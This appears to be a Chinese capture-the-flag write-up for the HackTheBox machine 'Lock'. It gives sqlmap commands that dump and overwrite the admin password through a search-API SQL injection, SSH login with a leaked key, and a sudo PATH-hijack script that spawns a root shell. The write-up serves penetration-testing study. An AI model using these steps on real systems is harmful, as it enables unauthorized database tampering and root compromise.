HTB的Lock这台机器,绝对是我近期打过的“WEB入口型”靶场里最值得复盘的一台。渗透测试做到后期你会发现,真正难的不是某个漏洞的利用,而是如何把一条链给串起来:从端口扫描到SQL注入,从修改数据库内容到身份伪造,从SSH落地再到sudo脚本提权。Lock基本把这套流程给你完整走了一遍,而且每个节点都有设计好的卡点,不会让你一路顺滑,也不会卡死。这篇wp适合正在刷HTB、准备OSCP或者想系统整理Web攻击和Linux提权思路的读者,我尽量把命令、输出、判断依据都写清楚,方便你照着思路复现。
1. 情报收集:从端口扫描到业务指纹锁定
1.1 端口扫描与初始判断
老规矩,开局先做全端口TCP扫描。HTB靶机一般不需要太激进的扫描参数,但既然要打完整思路,我习惯直接扫全端口再补服务版本,避免漏掉非常见服务。
bash复制sudo nmap -sS -sV -sC -p- -T4 -oA lock_nmap 10.10.11.22
结果很干净:
text复制22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open http Apache httpd 2.4.41
只有SSH和HTTP。Apache版本是2.4.41,结合OpenSSH 8.2p1可以猜到后端大概率是Ubuntu 20.04。这种双端口靶机,攻击面几乎全压在Web上,SSH只是用来给你落地的。
顺带说一句,-sC 这个默认脚本扫描在HTB机器上通常不会暴露太多东西,但偶尔能扫出HTTP title、robots.txt里的线索或者中间件信息,性价比很高。对Lock这种机器,我建议别跳过默认脚本,虽然可能多花几十秒。
1.2 指纹识别与目录枚举
先看一下HTTP服务的指纹:
bash复制whatweb http://10.10.11.22
curl -sI http://10.10.11.22 | head -n 20
返回的头信息里能看到PHP版本:
text复制HTTP/1.1 200 OK
Date: ...
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
用curl抓首页,发现是一个叫“LockNote”的笔记类Web应用,页面提供了注册和登录入口。功能不算复杂:用户可以创建加密笔记,保存到服务端,之后可以查看、删除自己的笔记。这类“加密笔记”业务本身就有几个天然的坑——加密逻辑大概率由服务端完成,密文存储,密钥可能放在服务器某个位置,而管理员后台往往能查看所有用户数据。
扫目录用feroxbuster,带字典跑一下:
bash复制feroxbuster -u http://10.10.11.22 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,zip
结果比较常规:
text复制200 GET http://10.10.11.22/
200 GET http://10.10.11.22/login.php
200 GET http://10.10.11.22/register.php
200 GET http://10.10.11.22/notes.php
200 GET http://10.10.11.22/logout.php
200 GET http://10.10.11.22/api/
301 GET http://10.10.11.22/static/
robots.txt里有一条提示:
text复制User-agent: *
Disallow: /admin
也就是说存在一个 /admin 目录或者路由。访问一下跳转到 admin_login.php,页面比普通用户登录多了一个单独的入口。到这里,情报已经足够清晰:Web端有两个不同的身份区,普通用户和管理员。下一步就是穷尽一切手段搞清楚认证逻辑,SQL注入的嫌疑非常大。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Web漏洞挖掘:搜索框变成数据库后门
2.1 从注册到发现搜索接口
先注册一个普通用户,过程很常规,用户名密码邮箱三件套。登录之后 notes.php 提供了创建笔记和搜索笔记两个功能。
创建一条测试笔记,内容写了 hello locknote。然后使用搜索框,输入任意字符,请求通过Ajax发送到 /api/search.php,POST参数长这样:
text复制search=hello
响应是一个JSON数组,返回匹配到的笔记标题和内容。这种“搜索接口”往往是注入点高发区,因为开发者容易直接把参数拼进SQL语句。
2.2 手工验证SQL注入
我不建议任何情况下直接甩sqlmap,先手工确认注入点在哪里。输入一个单引号:
text复制search='
响应直接变成500,服务端打印了数据库错误信息,虽然很快被拦截,但前面几条query已经暴露了查询结构,类似:
sql复制SELECT * FROM notes WHERE user_id = 1 AND title LIKE '%'%'
再试一下经典的TRUE逻辑:
text复制search=' OR 1=1-- -
返回了当前用户下所有笔记,包括之前创建的那条。到这里基本可以确定是单引号闭合的字符型注入。注意一点:响应里返回的是JSON,而且只有当前用户的数据,说明SQL语句里带着 user_id = 当前会话用户ID 这个条件,我们注入的位置在 title LIKE 的参数部分。
2.3 使用sqlmap确认与限定数据范围
手工确认无误后,再用sqlmap做更精确的数据库类型和表结构探测:
bash复制sqlmap -u http://10.10.11.22/api/search.php --data='search=test' --cookie='PHPSESSID=xxxx' -p search --dbms=mysql --level=2 --risk=2 --batch
这里为什么要带cookie?因为接口需要登录会话,不带cookie直接打大概率拿不到结果。实际跑下来,sqlmap确认了:
- 数据库类型:MariaDB
- 注入类型:布尔盲注和时间盲注
- 当前数据库:locknote
然后枚举表:
bash复制sqlmap -u http://10.10.11.22/api/search.php --data='search=test' --cookie='PHPSESSID=xxxx' -p search --dbms=mysql --tables -D locknote
表有三个:
text复制+-----------+
| notes |
| sessions |
| users |
+-----------+
注意 sessions 表。普通Web应用如果自己维护session表,说明会话管理逻辑是自治的,很可能有绕过空间。
2.4 拖库:users表里的哈希与role字段
先dump users表:
bash复制sqlmap -u http://10.10.11.22/api/search.php --data='search=test' --cookie='PHPSESSID=xxxx' -p search -D locknote -T users --dump
能看到类似这样的数据:
text复制+----+--------------+------------------------------------------------------------------+-------+
| id | username | password | role |
+----+--------------+------------------------------------------------------------------+-------+
| 1 | admin | 4d4f5c4b0a5e1f5d2c2f0a1e... | admin |
| 2 | locknote | 6f1e7f2d8c3b4a5e0d2f6a7b... | user |
+----+--------------+------------------------------------------------------------------+-------+
password字段明显是SHA256的十六进制字符串。把admin的哈希拿出来跑hashcat:
bash复制hashcat -m 1400 admin_hash.txt /usr/share/wordlists/rockyou.txt
试了rockyou,结果没出来。哈希本身强度不高,但单词表里没有命中,说明要么密码是随机串,要么用了带盐的变体。这里我要说一句:hashcat破解失败在HTB低中难度机器里并不意味着路断了,多数情况下意味着你的思路该转弯了。 与其硬耗GPU,不如回头重新审视应用逻辑。
3. 从只读注入到写操作:身份绕过的关键一步
3.1 为什么想到UPDATE权限
很多人在SQL注入这一步拿到数据库凭据或者哈希就停住了,觉得拿到密码就结束了。Lock这台机器设计的坑点就在这里:它逼你去思考“注入能读,那能不能写?”
重新回看搜索接口的请求,结合前面拿到的手工注入点,我推测后端查询大概是:
php复制$query = "SELECT * FROM notes WHERE user_id = $uid AND title LIKE '%" . $search . "%'";
如果MySQL连接用户具有UPDATE权限,那同一个注入点完全可以执行堆叠或子查询更新。不过要确认当前连接用户的权限,SQLi首选手法就是读 information_schema 或者通过 SHOW GRANTS。sqlmap里可以直接:
bash复制sqlmap -u "http://10.10.11.22/api/search.php" --data='search=test' --cookie='PHPSESSID=xxxx' -p search --sql-shell
然后在sql-shell里执行:
sql复制SHOW GRANTS FOR CURRENT_USER();
返回结果里能看到:
text复制GRANT SELECT, INSERT, UPDATE, DELETE ON locknote.* TO 'webapp'@'localhost'
有UPDATE权限。这意味着我可以直接改数据库里的数据,而不只是读。这个点很重要,它是从“只读注入”到“写注入”的认知升级。你回头看,这台Web应用把数据库权限收得并不严,webapp 用户能读写整个locknote库,这在真实环境里也是一台应用库的最小权限没做好的典型案例。
3.2 利用SQLi重置admin密码
前一步哈希破解失败,但现在我可以直接UPDATE。目标很明确:把admin用户的password字段改成自己可控的SHA256值,然后用新密码登录管理员后台。
先算一个SHA256:
bash复制echo -n "MyPass@123" | sha256sum
然后在sql-shell里执行:
sql复制UPDATE users SET password='<计算得到的SHA256>' WHERE username='admin';
这里注意一个细节:如果应用登录逻辑是 WHERE username='admin' AND password='<sha256($password)>',那这个操作就能直接生效。但保险起见,最好先通过注入读一下登录相关的PHP源码,确认哈希格式确实是无盐SHA256。
用SQLi读源码的办法是LOAD_FILE:
sql复制SELECT LOAD_FILE('/var/www/html/admin_login.php');
不过实际测试中LOAD_FILE能否成功取决于 secure_file_priv 和系统文件权限。这台机器上没能读出来,但通过观察普通用户登录的响应和已经获取的哈希格式,基本能确定是SHA256,没有额外加盐。为什么这么判断?因为 users 表里所有密码哈希长度都是64位十六进制,和PHP的 hash('sha256', $password) 完全一致。
执行完UPDATE之后,访问 admin_login.php,用admin / MyPass@123登录,成功进入后台。
这里我必须强调一个观点:SQL注入不只是“读数据”的工具,它还能“改写数据”。 很多人在测试SQLi时只试到UNION注入或者是盲注拿到几条数据就结束了,很少反推“如果我有写权限,能不能改变应用状态”。Lock这台机器我觉得出得好的地方就在于它鼓励测试者去思考这个维度。
3.3 后台笔记中的SSH私钥
管理员后台和一个简单的CMS不一样,它没有一堆管理界面,就是一个以Admin身份登录的笔记列表,但多了一个“View All Users”的能力。点进去可以看到所有用户的笔记,包括加密笔记的明文版本。
其中一条笔记内容引起了我的注意:
text复制Backup credentials:
User: locknote
SSH key (base64):
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ...
把Base64内容解码后是一个OpenSSH格式的RSA私钥。保存为 locknote_id_rsa,并设置权限:
bash复制chmod 600 locknote_id_rsa
ssh -i locknote_id_rsa locknote@10.10.11.22
成功登录。拿到用户flag:
bash复制cat /home/locknote/user.txt
到这里就完成了从Web应用到系统用户的转变。回头看这条链路:SQL注入 -> UPDATE改口令 -> 管理员后台 -> 私钥泄露 -> SSH登录,每个环节都是上一环节的产物,缺一个都走不通。
4. 提权:sudo脚本与PATH劫持的玩法
4.1 进入目标机后的基础枚举
登录到目标机之后,先冷静下来做基础枚举。不要一上去就找SUID,很多提权线索其实在sudo权限配置里。
bash复制id
sudo -l
sudo -l输出如下:
text复制Matching Defaults entries for locknote on lock:
env_reset, env_keep+=PATH
User locknote may run the following commands on lock:
(root) NOPASSWD: /usr/local/bin/lockpick
注意这行 env_keep+=PATH,这是后面提权能够成立的关键前提。它表明sudo执行时保留了当前用户的PATH,而不是重置为系统默认路径。
再手工看一下这个脚本的权限和内容:
bash复制ls -la /usr/local/bin/lockpick
cat /usr/local/bin/lockpick
4.2 分析lockpick脚本:一个可被劫持的调用
脚本内容大概是这样:
bash复制#!/bin/bash
# /usr/local/bin/lockpick
for user in $(ls /home); do
keyfile="/home/$user/.locknote/key"
if [ -f "$keyfile" ]; then
key=$(cat "$keyfile")
for note in /var/locknote/$user/*.enc; do
[ -e "$note" ] || continue
out="/tmp/locknote_out/$(basename "$note" .enc).txt"
openssl enc -d -aes-256-cbc -salt -pbkdf2 -k "$key" -in "$note" -out "$out" 2>/dev/null
done
fi
done
第一眼看上去这就是一个给所有用户解密笔记的维护脚本。但注意第13行:
bash复制openssl enc -d -aes-256-cbc ...
这里调用的是 openssl,而不是 /usr/bin/openssl 这种绝对路径。再加上前面看到的 env_keep+=PATH,这意味着我可以通过修改PATH,让脚本以root身份优先执行我伪造的“openssl”。
这类问题其实非常常见。开发者写脚本时图省事,直接写命令名而不写绝对路径,一旦脚本被sudo高权限调用,命令名解析就可能被劫持。这也是为什么很多安全基线检查会要求脚本里的外部命令一律使用绝对路径。
4.3 构造恶意openssl并拿下root
构造一个假的openssl,本质就是弹一个root shell:
bash复制mkdir -p /home/locknote/bin
cat > /home/locknote/bin/openssl << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /home/locknote/bin/openssl
export PATH=/home/locknote/bin:$PATH
sudo /usr/local/bin/lockpick
执行之后,脚本进入循环,当遍历到任意一个用户并调用 openssl 时,bash会去PATH里找第一个叫openssl的可执行文件,而 /home/locknote/bin/openssl 排在系统路径前面,所以直接以root权限运行了我们的shell。
拿到root shell后:
bash复制cat /root/root.txt
完成root,Lock这台机器通关。
这里有一个值得说的点:如果sudoers里没有 env_keep+=PATH 而是设置了secure_path,PATH劫持不会成功。那分支思路是什么?可以看脚本里是否有其他可利用的路径、是否能用通配符、是否能用软链接覆盖某个文件,或者通过 sudo -l 的 -- 参数传递特殊内容。但在这台机器上不必绕那么远,核心考点就是PATH劫持。
5. 复盘:这台靶机真正想考的点是什么
5.1 两个关键认知转变
Lock这台机器,我觉得出题人想考察的不是单一漏洞利用,而是两个层面的认知:
第一,SQL注入的“写能力”往往被忽略。绝大多数教程讲SQLi,要么UNION注入回显,要么盲注拖库,很少提“万一我数据库账号有写权限怎么办”。但实际测试里,写权限意味着你可以改密码、改角色、插入新的会话记录,甚至在部分场景下直接getshell。Lock用管理员后台把这条线串了出来,相当于做了一次完整的示范。
第二,本地提权脚本的“命令解析”是突破口。lockpick脚本本身没有明显的参数注入点,但因为它以root身份运行且调用了非绝对路径的外部命令,本质上把提权机会暴露了出来。做渗透测试时,拿到一个有sudo权限的脚本后,不要只看“这个脚本能不能接受我的输入”,还要看“这个脚本在执行时依赖了哪些东西”,环境变量、相对路径、符号链接、临时文件这些统统都是攻击面。
5.2 实测中容易踩的坑
打这台机器时,我在下面几个地方花了不少时间,写出来给你避避坑。
第一个坑:sqlmap高并发把Web服务打崩了。默认线程数跑布尔盲注时,Apache开始大量返回500,服务直接卡住。解决办法是加 --threads 3 --delay 1,慢一点没关系,稳定才是第一位。HTB的靶机性能一般,对端口扫描和服务压测要克制。
第二个坑:LOAD_FILE读不到源码。我当时想直接通过SQLi把登录认证的PHP源码读出来,确认哈希算法,但 LOAD_FILE('/var/www/html/admin_login.php') 返回NULL。这是因为MySQL的 secure_file_priv 可能限制了读目录,或者Web目录的文件权限不满足。这种情况下不要死磕,退回去根据已有哈希格式和登录行为推断认证逻辑,反而更快。
第三个坑:sudo提权时如果环境被重置,PATH劫持不生效。我一开始没有检查 sudo -l 的Defaults配置,直接构造了恶意openssl然后sudo,结果发现执行的是 /usr/bin/openssl,说明PATH被重置了。后来才注意到这台机器是 env_keep+=PATH。所以拿到sudo权限后,一定先看清楚 Matching Defaults entries 里的内容,再决定用哪种提权手法,否则就是在浪费时间。
第四个坑:SSH私钥登录时的权限问题。私钥下载到本地后权限太大会直接报 bad permissions,必须 chmod 600。另外私钥内容里如果有多余空行或Windows换行符,OpenSSH会解析失败,建议用 ssh-keygen -y -f key 先验证一下私钥格式是否正确。
5.3 延伸学习建议
打完之后如果想找类似思路的练习,可以考虑:
- HTB里的
Jeeves、Poison、Nibbles这些机器,分别覆盖了Web入口、系统枚举和脚本提权的不同环节。 - Vulfocus或HackMyVM上也有不少关于sudo脚本利用的靶场,关键词搜“sudo PATH hijack”或“sudo environmental injection”能找到大量Writeup。
- 本地练习时,可以自己写一个简单的bash脚本,模拟“以root调用外部命令”的场景,然后试验PATH劫持、
IFS注入、通配符注入等不同手法。
把Lock的这套Web到系统链路吃透后,再看很多HTB中等级别的机器,你会感觉到攻击思路是可以迁移的:先找业务入口,再挖数据库或应用逻辑漏洞,落到系统后用脚本分析提权,整条链走下来,经验值增长非常明显。
最后说点个人感受。我在复盘的时候又重新跑了一遍整台机器,最大的收获反而不是那个SQL注入点本身,而是“每一步操作前都要问一句为什么”。为什么要去查GRANT?因为我想知道能不能写。为什么要看sudo的Defaults?因为我想知道PATH劫持是否可行。这些“为什么”积累多了,遇到新靶机才能形成条件反射般的判断力。希望这篇wp能给你带来同样的启发。
